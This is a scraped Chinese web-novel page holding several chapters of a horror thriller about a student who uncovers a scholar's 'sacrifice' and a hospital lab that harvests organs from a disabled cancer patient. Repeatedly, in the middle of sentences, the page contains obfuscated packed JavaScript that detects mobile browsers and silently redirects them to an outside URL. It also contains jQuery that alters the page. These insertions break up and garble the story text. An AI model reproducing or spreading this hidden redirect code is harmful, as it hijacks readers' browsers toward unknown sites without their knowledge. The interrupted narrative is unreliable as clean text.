一个人要开启祭祀，那么一定是带着某种目的，获取力量、履行宿命或是纯粹的疯狂崇拜。祭祀的祭品可能是人的生命、灵魂或是恐惧。 乐晴潜意识里觉得贺以辛不像是会通过献祭自己的生命或灵魂以达到某些目的的人，更何况，乐晴并不觉得贺以辛面临的——或者说她看见的贺以辛面临的处境是无解。 “他换取了毁灭这个世界的混乱。” “换取……混乱？”乐晴尝试着理解夏未的话，“你的意思是，他换取了毁灭世界的力量？” “不，他没有换取毁灭世界的力量，而是毁灭世界的混乱，他换取的是混乱。”夏未纠正，“只是混乱。” 混乱……也就是说，贺以辛献祭了自己，却并没有赋予自己力量，而是换取了混乱，这个世界的混乱。 不对。 贺以辛不是这样的人，即使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271298|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界混乱至极，即使世界即将毁灭，贺以辛也会拼尽全力去抵抗，他不可能做出这样的事，至少乐晴认识的那个贺以辛不会这样做。 “你为什么知道，贺以辛经历什么，为什么要换取混乱？” 夏未看着乐晴，良久才缓缓开口：“他揭穿了一个阴谋，被夺走了一切。” “什么阴谋，什么一切？” 夏未将贺以辛揭发保研名单的事情原原本本说了一遍，和乐晴所看见的基本一致。 乐晴又问：“他失去了什么？” 她只看见贺以辛和“乐晴”对上视线，没来得及看见全部。 “他的未来，他的父母，他仅剩不多的一切。”夏未似乎是苦涩地笑了一声，乐晴仔细去看，夏未的脸上却无半点波澜。 夏未：“事情揭发之后，他被学校开除。后来，他父母意外离世，他就此失去一切。” 乐晴离开后，贺以辛失去了一切，他的父母、成就、未来……以至于最后献祭自己、换取混乱。 “你为什么知道？”乐晴还是不相信。 贺以辛不会这么做。 夏未忽然笑了一声：“大家都知道。” 夏未从那片混乱的墓地走出：“学校里的每一个人都知道，包括你的室友，你可以回去问问她。” 乐晴注意到夏未的脚步越来越快，快到她要不时小跑两步才能追上。乐晴意识到，夏未生气了。 乐晴反应过来，这个世界的乐晴并不认识贺以辛，而夏未是她的青梅竹马，在她不存在的这段时间还替她杀了拿走她器官的人。 一时间，愧疚、心虚一齐涌上心头。乐晴小跑着追上夏未，抓住他的衣角。 “对不起，我不是不相信你，我只是……”乐晴一时间也想不出来好的理由。 刚到金字塔的时候还好，里外世界差别太大，乐晴还分得清。但是迷雾之镜和金字塔几乎没有区别，甚至部分和外面的世界一模一样，迷雾之镜和金字塔又都存在贺以辛这个人，金字塔的人也可以进出迷雾之镜，这些都让乐晴的感官越来越混乱。 比如现在，明明不认识这里的贺以辛，可她还是会下意识把这里的贺以辛当作金字塔认识的那个贺以辛，把他当自己信任的贺队。 “乐晴。”夏未停下脚步，紧紧抓住她的肩，“相信我，我不会欺骗你。” 看着夏未琥珀色的眼睛，乐晴点点头：“嗯，我相信你。” - 回到宿舍已经是晚上七点了，李韵星还没有回来，反倒是其中一个室友梁屈晨回来了。 乐晴之前没见过梁屈晨，对她的印象仅仅是模糊的系统留下的记忆和李韵星的介绍。看见梁屈晨的一瞬间，她还以为是什么人闯了进来，差点拿出双管枪。 梁屈晨听见开门声，只是抬眼瞥了一下乐晴，就继续低头玩手机。 梁屈晨不说话，乐晴也不知道该说点什么，又觉得没什么说话的必要，自己走回座位。 就在乐晴收拾东西准备洗漱的时候，梁屈晨忽然开口：“你打算考博吗？” 乐晴环顾四周，确认宿舍里除了梁屈晨就只有她，指着自己，不确定道：“我？” 梁屈晨不耐烦地看了乐晴一眼：“嗯。” “应该不考。” 管他呢，如果说要考，可能会成为梁屈晨的对手，说不考，至少不会招惹来新的麻烦。而且只是说说而已，就算系统的任务是要考，她也可以考。 “哦。” 梁屈晨应了一声，又自顾自做自己的去了。 乐晴：？ 乐晴换了拖鞋正要出门的时候，梁屈晨又开口了：“乐晴，我要去南附属二医了。” 虽然不感兴趣，但迫于礼貌，乐晴还是停下来：“那很好啊。读博吗？” 梁屈晨“嗯”了一声：“顺便参与实验室研究。” “实验室研究？” “生命科学前沿实验室。” 乐晴这下是真的愣住了：“生命科学前沿实验室？这不是我们学校的医学实验室吗？” “我们学校和南附属二医合作开办的医学实验室。” 梁屈晨的话像一记重锤，乐晴忽然觉得整件事情更加复杂了，复杂到她一个人可能无法解决，复杂到……她或许能想象到当初贺以辛面临着多大的危机。 36. 学术圣殿（十） 李韵星回到宿舍的时候，梁屈晨已经拿好东西离开了。 看见李韵星，乐晴迫不及待从床上爬起来：“韵星，晚上梁屈晨回来过了。” 李韵星把背包扔在衣柜旁水桶上的脸盆上，颓然地瘫在椅子上：“我知道。” “你知道？” “嗯，在宿舍门口看见她了。” “她说她要去南附属二医和我们学校合作开办的生命科学前沿实验室。” 这李韵星倒是不清楚，不自觉从椅子上坐直：“生命科学前沿实验室？” 乐晴点头：“嗯。” 为什么是生命科学前沿实验室？为什么要去南附属二医？如果她没记错，曾传屿是梁屈晨在这里的关系，而梁屈晨的其他亲属也基本都在这里工作，她为什么要去南附属二医？李韵星低着头，若有所思。 “韵星，怎么了？” 李韵星摇摇头：“我只是在想，梁屈晨去南附属二医的目的是什么。” 很明显，留在这里对梁屈晨来说是更轻松也最好的选择，除非那边有更厉害的人物。 “对了，韵星，我想问你一件事。”乐晴想了很久，还是决定找夏未之外的人问清楚，“你知道贺以辛吗？” “知道。我们学校之前的学生会会长，因为举报保研内幕，被副校长威胁，但是他很刚，直接把材料递到了教育局和卫健局。” “然后呢？” “然后？”李韵星冷笑一声，“然后，贺以辛的父母意外身亡，贺以辛‘自杀’，教育局和卫健局联合辟谣，说是贺以辛保研失败，精神失常，所谓证据都是杜撰出来的。” 李韵星把生命科学前沿实验室的出入证随手扔在桌子上：“那个时候，贺以辛已经在读博了，保个屁的研，也就只有那群蠢货编得出来，忽悠人也不愿意好好想个理由。” 乐晴忽然沉默。 也就是说，官方的说法是，贺以辛保研失败、精神失常，编造了一系列谣言，又倒霉地失去了父母。在知道部分实情的眼中，贺以辛是因为举报不公事件，被灭口。夏未知道的消息则是，贺以辛因为这一系列事件献祭了自己，或者说是在被自杀的同时选择了献祭自己。 “那……贺以辛死后，发生了什么？” “混乱，一望无际、无可奈何的混乱。”李韵星靠在椅背上，缓缓道，“混乱，是唯一的真实。” 混乱……难道夏未说的没错，大家都知道贺以辛通过献祭换取了混乱？不对。李韵星只是说，贺以辛被自杀，但并没有说混乱是贺以辛通过献祭换来的。 李韵星闭上眼睛，脑海中又浮现出那恐怖的场景。 - 椅背坚硬冰冷的触感透过薄薄的衣料，硌着李韵星的脊骨。城市傍晚特有的、混杂着汽油与灰尘的浑浊气息，裹挟着车厢内几十种不明所以的体味汗味，黏腻地堵在口鼻之间。 车轮碾过柏油路面的沉闷滚动声，引擎低沉的嗡鸣，还有身后座位两个人关于菜价永无止境的、琐碎而尖锐的争执……这一切汇成一股令人窒息的粘稠噪音，沉重地压在眼皮上。 混乱。一望无际、无可奈何的混乱。 李韵星靠在那里，在心底无声地重复着这个词。 她只想沉入一片短暂的、没有影像和声音的黑暗里，从这个忙碌的世界逃离，哪怕只有几分钟。她疲惫地合上双眼，试图将那些令人不安的念头和窗外的车水马龙一同隔绝在外。 黑暗温柔地拥抱上来。 然而，那片寻求安宁的黑暗并未降临。 眼皮合拢的瞬间，一种冰冷的窥视感，带着非人的恶意，毫无征兆地刺穿了她脆弱的屏障。她猛地一颤，眼皮仿佛被无形的针线强行撬开一条缝隙。 不是车厢内的景象，而是车窗——那扇蒙着灰尘和油腻指纹的肮脏玻璃，此刻竟变得异常清晰，像一块巨大的、污秽的屏幕。 倒影在上面蠕动、成型。 不再是窗外飞速倒退的模糊街景。 那是一个由暗沉石块垒砌的、布满诡异扭曲刻痕的圆形祭坛。祭坛周围是浓得化不开的、仿佛拥有生命般翻滚蠕动的黑暗，比车厢内的污浊空气更粘稠、更窒息。祭坛中央，本该是献祭者的位置，却空无一人。只有一柄样式古怪、非金非石的短刃，悬浮在离地一尺的空中，刃口流淌着幽绿的光，像一只邪恶的独眼。短刃下方，祭坛中央微微凹陷的、刻满无法理解符号的凹槽里，盛满了某种深色的、粘稠得如同融化的沥青的液体，散发着一种令人作呕的、仿佛来自深渊的暗红光泽。 没有献祭者，没有动作。只有那悬浮的短刃，那盛满亵渎之血的凹槽，以及祭坛周围翻滚的黑暗发出的低沉、满足的、仿佛来自地心深处的嗡鸣。这无声的、缺失主体的景象，比任何血腥的场面更令人毛骨悚然。 一种纯粹的、冰冷的“仪式感”透过车窗倒影，死死攫住了李韵星的灵魂。 李韵星的心脏像是被一只冰冷的手狠狠攥住，骤然停止了跳动。她猛地睁开眼，倒吸一口冷气，那冰冷的窥视感瞬间抽离，车窗上只剩下窗外霓虹灯投下的、晃动的光斑。幻觉？是幻觉吗？ 前几天，听说学生会会长死了。 学校的中央广场有一个喷泉，但常年关闭，层层叠叠的池子中堆满了腐烂的落叶和积蓄的雨水，只有遇上上级来检查的时候，学校才会让清洁工人清理，然后打开换水的开关。 听说，学生会会长死去的地方，正是那喷泉。 他静静地躺在喷泉的最上方，血水静静流淌，像香槟塔的香槟一样落入最下层。 那天，恰逢清洁工人清理完喷泉，正好有上级领导来检查。 换水的开关一打开，血水就从喷泉的各个地方往上喷，溅到学府路上，溅到花草丛中，溅到……那些上位者的身上。 那喷泉，和这祭坛一模一样。 喷泉里的血水，和祭坛里的暗红色液体也一模一样。 贺以辛，就像那柄短刃，悬在空中，像达摩克利斯之剑，悬在所有上位者的头顶。 或许有一天，那柄剑会从高空坠落，将他们捅个对穿。 又或许直到他们都死去，那柄剑也只是悬在半空。 那无名的祭坛，那悬浮的刀刃，那凹槽里等待被唤醒的污血……一种巨大的、无法言喻的恐怖预感攫住了她，紧随而至的是一个嘶哑、干涩、仿佛砂纸摩擦铁锈的声音。 声音来自前方，很近。 李韵星僵硬地抬起头。 前排靠过道的座位上，一个穿着廉价西装、头发油腻稀疏的中年男人，身体正以一种诡异的角度剧烈地抽搐着。他的头怪异地向后仰，几乎要折断颈骨，嘴巴大张，露出枯黄发黑的牙齿。 “救……救命！”男人的声音陡然拔高，身体痉挛得更加疯狂，指甲深深抠进座椅里，发出刺耳的刮擦声。 车厢里瞬间死寂。 先前所有的噪音——引擎的嗡鸣、车轮的滚动、他们的争执——仿佛被一只无形的手猛地掐断，只剩下这男人歇斯底里的呼救声和他的身体撞击座椅靠背发出的沉闷“咚咚”声。 死寂只持续了一瞬，便被骤然爆发的混乱尖叫撕碎！ “啊——！！！” “救命！他有病！” “司机！司机停车啊！” 恐慌像无形的瘟疫瞬间席卷了整个密闭的空间。人们惊惶地试图远离那个抽搐的男人，拥挤推搡，发出刺耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271299|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的尖叫。 混乱的呼喊声中，车厢顶棚惨白的灯管突然开始剧烈地、毫无规律地疯狂闪烁起来。 明。灭。明。灭。 每一次骤然的黑暗降临，都伴随着更大的恐慌尖叫。而在那短暂而刺目的白光爆发瞬间，车厢两侧肮脏的浅色塑料内壁上，清晰地映照出乘客们疯狂舞动的影子！ 它们被灯光拉扯、扭曲、放大，变得异常巨大而畸形。有的影子头颅变成了布满尖刺的球体，疯狂旋转；有的影子上肢无限延长，化作挥舞的、末端带着吸盘的鞭状物；有的影子身躯膨胀成臃肿的肉团，表面裂开无数细小的缝隙，仿佛要喷吐出什么……光与暗的急速交替中，这些非人的、亵渎的影子在墙壁上狂乱地扭动、交叠、撕扯，如同地狱壁画中的群魔乱舞。每一次灯光熄灭，那恐怖的影像就烙印在视网膜上，每一次亮起，新的、更扭曲的形态又叠加其上。 李韵星的心脏在胸腔里擂鼓般狂跳，几乎要撞碎肋骨。她感到一阵强烈的眩晕，胃里翻江倒海。 她下意识地想抓住什么稳住身体，手指却死死抠住了座椅边缘，指甲几乎要嵌入塑料里。她拼命扭过头，带着一种连自己都未曾察觉的、深入骨髓的恐惧，看向自己脚下被闪烁灯光投射在车厢地板上和对面椅背上的影子。 就在灯光又一次惨白地亮起的刹那，她看到她了。 属于她自己的那个影子，在脚下那片有限的地面空间里，轮廓边缘不再清晰光滑，而是如同被强酸腐蚀般剧烈地波动、沸腾着，在那模糊沸腾的阴影轮廓边缘，几条粗大、滑腻、末端带着吸盘和诡异倒刺的漆黑触手状阴影，正疯狂地、无声无息地向上扭曲生长！她贪婪地膨胀着自己的体积，试图抓住李韵星的脚踝、攀附而上，从影子变成灵魂，彻底取代李韵星。 李韵星猛地缩回脚，但那可怕的、蠕动的触手状影子，如同跗骨之蛆，随着她身体的移动在地板上扭曲、延展。 就在这极致的混乱与惊恐爆发的顶点，窗外飞速倒退的、由霓虹灯、广告牌和居民楼灯火构成的城市景象，毫无征兆地消失了。 不是黑暗，而是被一种无法形容的、流动的、深邃到令人疯狂的色彩所取代。那色彩仿佛是凝固的星空，又像是沸腾的宇宙熔炉，无数不可名状的巨大几何形体在其中旋转、碰撞、湮灭，巨大的、难以想象的引力，或者说某种超越物理规则的吸力，猛地攫住了整辆公交车。 车身发出不堪重负的、令人牙酸的金属呻吟声，仿佛下一刻就要被这股力量捏碎、压扁。紧接着，车顶棚靠近车头的位置，那坚硬的钢铁和复合材料，如同被一双无形的、巨大的手抓住两边，像撕开一张薄纸般，硬生生被撕开了一道巨大的、不规则的豁口。 公交车仍然在按照既定的路线向前行驶。 李韵星透过被撕裂的车顶豁口，看到了外面的“景象”。 那是一个由纯粹的、无法理解的“混乱”本身所构成的巨大存在。 它没有固定的形态，仿佛一团不断坍缩又膨胀的星云漩涡。漩涡的中心，是绝对的虚无，却又像一只巨大的、冷漠的、非人的眼睛，凝视着这辆闯入它领域的渺小造物。 “混乱，是唯一的真实。” 李韵星全身的血液似乎瞬间冻结，她再也无法承受，喉咙里发出一声不似人声的、破碎的嚎叫，身体猛地向后仰倒，撞在冰冷的椅背上。意识像一根被绷到极限的琴弦，在那巨大混乱存在的冰冷凝视下，“铮”地一声，彻底断裂。 眼前的一切混乱都在瞬间被拉长、扭曲、搅拌，然后“倏”地一声消失不见。 绝对的寂静与虚无降临。 “混乱是唯一的真实。” 混乱是唯一的真实。 37. 学术圣殿（十一） “那到底是什么？” 在这个世界里，乐晴经历过的只是剧院里的短暂混乱，可那混乱只是短暂地存在，夏未带她离开之后，一切就恢复如常了，好像从未发生过。 李韵星道：“混乱，大家都只知道是混乱。” 李韵星站起来，隔着窗户看着一片死寂的夜空：“随着混乱的出现，大家都惊恐不已，但很快，大家就发现，混乱只是混乱，不会造成任何伤亡，也就不再有人在意这些混乱。” 不会造成伤亡的混乱，就不是混乱了吗？ 李韵星：“反正在那之后，混乱还是时常发生，但就像偶尔出现的彩蛋，大家只是像儿时参加消防演习那样，嬉闹着演习尖叫，再退回各自的日常。” 乐晴忍不住想，如果真的是贺以辛献祭带来的混乱，那他死得也太冤了。 无人在意这场混乱，无人在意他的死亡。 即使制造了恐怖的混乱，他的死亡依然静悄悄。 “乐晴，你知道我为什么想找到乐晴学姐的真正死因吗？” “因为……贺以辛？”乐晴猜测。 “不只是贺以辛。”李韵星道，“因为贺以辛，因为乐晴学姐，因为你、因为我，因为这个世界上千千万万个被混乱的喧嚣掩盖住呼救声的人。” “韵星……” 这一刻，乐晴忽然觉得自己实在过于渺小。 “乐晴，我要在这边继续跟着曾传屿，走不开，需要你帮我一个忙。” “什么？只要我能做到，我一定去做！” “去南附属二医，想办法进入生命科学前沿实验室。” “这……”据乐晴所知，她没有梁屈晨的人脉资源，没有李韵星的实力，该怎样才能进入生命科学前沿实验室呢？ 不管了，既然能通过特别培养计划进入医学院，她就一定能找到进入南附属二医的办法。 如果说是死亡一次之后成为的医学生乐晴，那她还有80学分，就算通过关系去南附属二医也是扣除30学分，收到退学预警，还不至于进入死局。 但如果不这样做，她可能会面临无止尽的死亡，因为曾传屿，因为“他”。 乐晴咬咬牙：“我答应你。” - 最终，乐晴不知道哪里冒出来一个姑妈，通过关系把她送进了南附属二医实习。 乐晴是在姑妈的陪同下来的这个陌生城市。帮她安排好住宿后，姑妈领着她先去了南附属二医的院长办公室，紧接着又带她去各大领导的办公室拜访了诸位领导，除了那个贼眉鼠眼的院长，乐晴一张脸也没记住。 “姑妈，只是半年的实习，需要拜访这么多领导吗？”乐晴想的是，必须拜访的领导都是日后需要注意的人。毕竟姑妈能随意塞人，会拜访的也是有关系往来的人。 “当然了。” 姑妈也是医生，不过大学的时候就出国留学了，后来一直在国外工作、生活，前些年才回国长住，但也并没有在国内行医。姑妈四十岁上下，皮肤保养得极好，黑色的头发梳得一丝不苟盘在脑后。今天，姑妈穿了一条黑色碎花裙，提了一个亮橙色的皮包，正好和裙子上的碎花呼应上。 这个时候正是门诊开放的时间段，二医大门口匆匆来往的都是看病的人、陪着亲属看病的人，还有忙碌的医生。 今天的天气不错，艳阳高照，却并不热，偶有微风吹过，把姑妈耳后的头发拂到脸侧。 微风吹拂中，一个年轻人从姑妈身后绕过走下楼梯，他的裤腿被吹起，露出小腿后方不规律的红色斑点，还有另一条腿上的机械义肢。 他是一个残疾人。 他慌乱地去盖裤腿，试图用粗布麻衫遮住残疾的那条腿，就能假装自己是一个正常人。 “啪”地一声，检查报告从他的手中摔落。 乐晴想了想，帮忙把甩出来的文件塞了回去，连带着袋子一起交还给他，他匆匆抢过检查报告，却连一句谢谢都没有说，快步跑下台阶，熟练得完全不像残疾人。 可她看见了，他的姓名、血型，还有诊断结果。 彭安，男，B型RH+，淋巴癌。 姑妈站在最高的台阶上居高临下，看着蚂蚁搬家般匆忙的人群，忽然没头没尾地说了一句：“在南附属二医，你要学会随机应变。” “我知道，姑妈。” 乐晴不知道姑妈说的话是什么意思，但她隐隐觉得，曾传屿对付她的事情姑妈应该也知道一些。 姑妈是医学生乐晴的姑妈，却不是艺术系乐晴的姑妈。 曾传屿杀死艺术系乐晴之后，或许通过某些途径得知医学院还有一个和被她杀死的人长得一模一样的乐晴，估计心里也会疑惑。但对于他们这类人来说，恐惧是无中生有的东西，斩草除根才是第一反应下的选择。 乐晴觉得，姑妈保了她的命。 但很显然，姑妈并没有呼风唤雨的能力，最多能与曾传屿相抗衡。曾传屿之上的“他”，才是要杀死乐晴的人，姑妈之上，是不是也有一个“他”或“她”？ “小晴啊，姑妈尽力了。” 乐晴心里忽然有一种不好的预感。医生说“尽力了”，通常是在无力回天的情况下。 “姑妈……”乐晴想问点什么，但又不知道从何问起。 毕竟是凭空出现的姑妈，乐晴不知道她的脾气和底细，不知道有些话问出口了会不会侵害到对方的利益，不知道对方的利益被侵害会不会果断铲除她这个祸害，她不敢随意问出口。 “没什么事的话我就先走了。小晴，记得我说的话，如果受了委屈，就回学校吧，要是你想继续读博，我会帮你。” “好，谢谢姑妈，我会好好考虑的。” 在找到回血项之前，她可不能再随便通过这些关系往上爬了。 - 南附属二医的节奏极快。 和乐晴一起进入生命科学前沿实验室，除了同宿舍的梁屈晨，还有八个其他学校的学生，大家似乎都互相不认识，梁屈晨也装作不认识乐晴的样子。 生命科学前沿实验室坐落在医院科研楼顶层最深处。厚重的气密门无声滑开，一股混杂着强烈消毒水、冰冷金属以及某种难以言喻的、类似雨后泥土却又多了点腐烂的气息扑面而来。 巨大的空间被分割成无数透明或半透明的隔间，精密仪器林立，指示灯无声闪烁。实验室内，只有防护服摩擦的轻微窸窣和仪器运行时低沉稳定的嗡鸣。 绝对的秩序，绝对的干净。 带新人熟悉环境的是实验室的副主任，周明远教授。他身材瘦削，鼻梁上架着一副纤薄的无框眼镜，镜片后的目光锐利，审视着排排而立的额新人。他的语速极快，介绍那些昂贵得令人咋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手指向旁边一个独立的透明培养隔离室。里面，几个精致的生物反应器正在恒温箱内缓缓旋转，柔和的光线照亮了其中悬浮的物体——几团指甲盖大小、呈现温润肉粉色、正微微搏动着的组织。它们像初生的、微小的心脏，在营养液的滋养下，规律地收缩、舒张，透出一种诡异又蓬勃的生命力。 乐晴瞬间头皮发麻：“那是什么？” “人工诱导的心脏类器官雏形。”周明远的声音很平静，就像在描述一件再普通不过的实验材料，“我们编辑了它们的免疫原性基因位点，试图让它们‘隐形’，逃过受体免疫系统的猎杀。每一次成功的搏动，都意味着我们向‘通用型’迈近了一小步。” 周明远镜片后的目光再次落在新人身上，带着一种评估的意味：“很迷人，也很残酷，对吧？生命科学的本质，就是在刀锋上行走。记住，在这里，好奇心需要精确的坐标，而专注，是唯一的护身符。尤其当你接触那些……特殊的样本源时。” “特殊样本源？”乐晴追问道。 乐晴知道自己不该追问，可她实在不想在这家医院留太久。 周明远没有直接回答，只是微微侧身，目光投向实验室深处一扇厚重的、印着巨大黄色生化标识的银色金属门。那门紧闭着，门禁指示灯是冷硬的红色。 “所有的突破，都需要付出相应的代价。有时候，这代价需要一点非常规的……‘渠道’来承担。这是我们医院的方式。”他收回目光，语气不容置疑，“好了，去数据处理区找张博士报到。他会给你权限和任务。记住，只做分配给你的工作，只问该问的问题。实验室，不需要额外的噪音。” 38. 学术圣殿（十二） 南附属二医的生命科学前沿实验室。 乐晴坐在数据处理区一个被半透明隔板包围的工位里，巨大的弧形屏幕上闪烁着不停跳动的代码和数据，看得乐晴头晕眼花。 周明远的话不时回响在她的脑海。通用型器官、特殊的样本源、代价、非常规的渠道……这些词语暗示着这个实验室背后藏着巨大的秘密，而她站在门外，难以窥视里面的洞天，除非她成为实验室的内部成员。 她强迫自己把注意力集中在眼前的任务上。 工作枯燥得令人麻木。大部分时间，她只是按照张博士提供的固定模板，将海量的原始序列文件进行初步的清洗、格式转换和分类归档。权限有限，她接触不到核心的分析流程，更看不到这些序列最终指向何种具体的实验目的或样本个体。 她感觉自己成了庞大流水线上一个微不足道的、只负责擦拭零件油污的螺丝钉。 或许人的本质就是这样，不管一个人对自己、对家人、对朋友来说有多重要，但在这个人满为患的世界，除非拥有足够的权力和地位，否则，都只是一枚需要时利用、不需要时找个借口扔掉的螺丝钉，有时甚至不需要借口。 三天后的一个下午，张博士罕见地没有立刻给她分配新的任务。 他揉着布满红血丝的眼睛，声音沙哑：“乐晴，你把上次归档的那批‘源点-17’项目的数据，再核对一遍入库路径。系统后台显示有部分路径索引异常，可能是命名规则冲突，你仔细筛查一下具体是哪些文件，把异常报告导出来给我。” “好的，张博士。”乐晴应下，点开后台管理系统。 “源点-17”。这个名字她见过几次，归档的数据量异常庞大，涉及多个器官系统的基因表达谱和三维结构重建。她按照指令，调出“源点-17”相关的数据索引树状图。屏幕被密密麻麻的文件路径和编号占满。她耐着性子，一行行核对，寻找张博士所说的命名冲突。 突然，一个嵌套在深层目录下的子文件夹名称异常扎眼。 “PAanBank-Initial”。 PA？这是什么的缩写吗？ 乐晴顺口问：“张博士，这里有一个文件名的命名规则我不是很清楚，PAanBank-Initial的PA是什么？” 张博士瞥了一眼：“实验体的姓名缩写。” 姓名缩写？ 乐晴的心毫无征兆地狂跳起来，血液瞬间涌向耳膜，发出轰鸣。 实验体的姓名缩写，说明……实验体，是一个人？ 乐晴的指尖冰凉，带着一丝不易察觉的颤抖。 她点开那个文件夹。 里面是更细分的子目录：心脏、肾脏、肝脏、肺部……每一个器官名称后面都跟着具体的文件。她的鼠标不受控制地悬停在其中一个文件上，文件名清晰地标注着： [PA-Heart-TissueViability_Report] 周明远警告过，她是没有权限点开这些报告内容的。 “张博士，这份文件可能有问题，但我没有权限查看。” 张博士经历了五天不眠不休的实验，现在处于精神极度紧绷的状态。 乐晴在赌。 核对文件不是张博士值得花费精力的工作。一个权限，只需要一个权限，只要张博士给她一个权限，她就可以知道这个实验体的身份。 张博士没有抬头，只是拿过乐晴电脑旁边的摄像头，将闪着红光的摄像头对准自己的虹膜。 [滴，验证中……张博士，确认拥有权限。] 乐晴咽了咽口水，点开那份心脏组织活性报告。 报告首页跳出来。左上角，一个缩小的、但无比清晰的个人照片框印在那里。 乐晴的呼吸骤然停止。 照片上的人，穿着灰扑扑的粗布麻衫，头发有些凌乱，眼神里带着一种底层挣扎者特有的、混合着疲惫、焦虑和一丝微弱倔强的光。 那张脸，正是几天前，在南附属二医院门口台阶上，从她手中夺走报告袋的彭安。 那个身患淋巴癌的残疾人。 照片下方，是几行冰冷的信息： 供体编号：PA-B-1107 姓名：彭安 性别：男 年龄：23岁 血型：B型RH+ 健康状况评估：实验级 组织来源：南附属二院手术中心（OPO） 乐晴像是被一桶冰水从头浇到脚，四肢百骸瞬间冻僵。 如果彭安真的是淋巴癌晚期，可癌症晚期的病人会像他那样生龙活虎吗？短短几天，彭安就从一个活生生的人变成了零散的器官，这可能吗？手术中心……他的器官来自手术中心？说明他的器官是在手术中被摘下的吗？ 他的器官，是在他还活着、还带着淋巴癌痛苦挣扎的时候，被强行获取的。所谓的“健康状况评估：实验级”，所谓的“特殊样本源”……这就是周明远轻描淡写带过的“代价”和“非常规渠道”。 非常规渠道是普通人渴望延续生命的常规渠道，代价是以普通人的生命代价…… 他们把他当成什么？一个可以随意拆解、用于测试“通用型器官”排异反应的活体零件库？因为他是底层蝼蚁，因为他是残疾人，因为他得了所谓的“绝症”，所以连最后一点作为“人”的权利和尊严都可以被剥夺，变成冰冷的“源点-17”项目里的一个编号？贺以辛的死无人问津，彭安的生，同样被无声无息碾碎在“生命科学”的齿轮下。 “唔……”乐晴死死捂住嘴，但无法阻挡那股汹涌而来的恶心感。她猛地推开椅子站起来，踉跄着冲向工位隔板出口的方向。 她只想逃离这里，逃离这片吞噬生命、制造“混乱”却伪装成圣殿的深渊。 “乐晴？”张博士疑惑的声音从背后传来。 她充耳不闻，几乎是扑到通道墙壁上，对着角落一个不起眼的、用于丢弃实验废弃物的生物安全桶，撕心裂肺地干呕起来。喉咙里火烧火燎，却什么也吐不出。无菌服的布料摩擦着皮肤，带来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271301|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种诡异的束缚感。 她不知道自己是怎么跌跌撞撞冲出医院。 外面夕阳的余晖带着血色，空气里弥漫着消毒水和死亡的味道。 “乐晴？”一个熟悉的声音，带着恰到好处的关切在她身后响起。 乐晴浑身一僵，慢慢转过身。 夏未就站在几步之外。 夕阳的金红色光芒落在他身上，勾勒出他清瘦的轮廓，给他苍白的皮肤镀上了一层近乎虚幻的暖意。 夕阳下，他琥珀色的眼睛看上去更柔和。 他穿着简单的米白色风衣和深色长裤，手里提着一个精致的纸袋，看起来像是刚下班顺路过来探望的体贴男友。他脸上带着惯有的、温和无害的微笑。 “脸色怎么这么差？”夏未走上前，自然地伸出手，似乎想触碰她的额头试探温度。 乐晴下意识地猛地后退一步，避开了他的手。这个动作太突兀，连她自己都愣了一下。 夏未的手停在半空，脸上的笑容微微一滞，随即加深，却带上了一丝难以言喻的意味。他收回手，没有丝毫不悦，只是眼神更深地锁住她。 “看来不是小事。”他的声音依旧温和，甚至带着点诱哄，“跟我说说？这里没别人。” “没……没什么。”乐晴的声音干涩沙哑，“只是有点累。” 夏未……为什么会出现在这里？而且，他越来越不对劲了，从他说出贺以辛的事情之后。 “累？”夏未轻轻重复着这个字，尾音微微上扬，带着一丝玩味。 他向前逼近一小步，无形的压力悄然弥漫。 “只是累吗？可是乐晴，你看起来……”他顿了顿，柔和的目光扫过她惨白的脸和微微颤抖的手指，“像是刚从地狱里爬出来。” 乐晴的心跳忽然停滞。她猛地抬起头，撞进夏未柔和的眼睛里。 那双总是带着温柔笑意的眼睛，此刻却清晰地映出她惊恐的倒影。那里面没有关切，只有一种近乎冷酷的审视和……一丝压抑不住的、扭曲的兴奋。 告诉我，”夏未的声音压得更低，像毒蛇吐信，“在这里，你看到了什么？是不是……看到了这个世界的脓疮？看到了光鲜表皮下面，腐烂发臭的真相？” 乐晴的血液似乎都凝固了。 